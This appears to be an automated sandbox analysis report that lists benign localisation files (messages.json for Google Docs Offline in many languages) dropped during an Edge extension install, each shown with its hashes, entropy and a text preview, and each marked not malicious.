Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
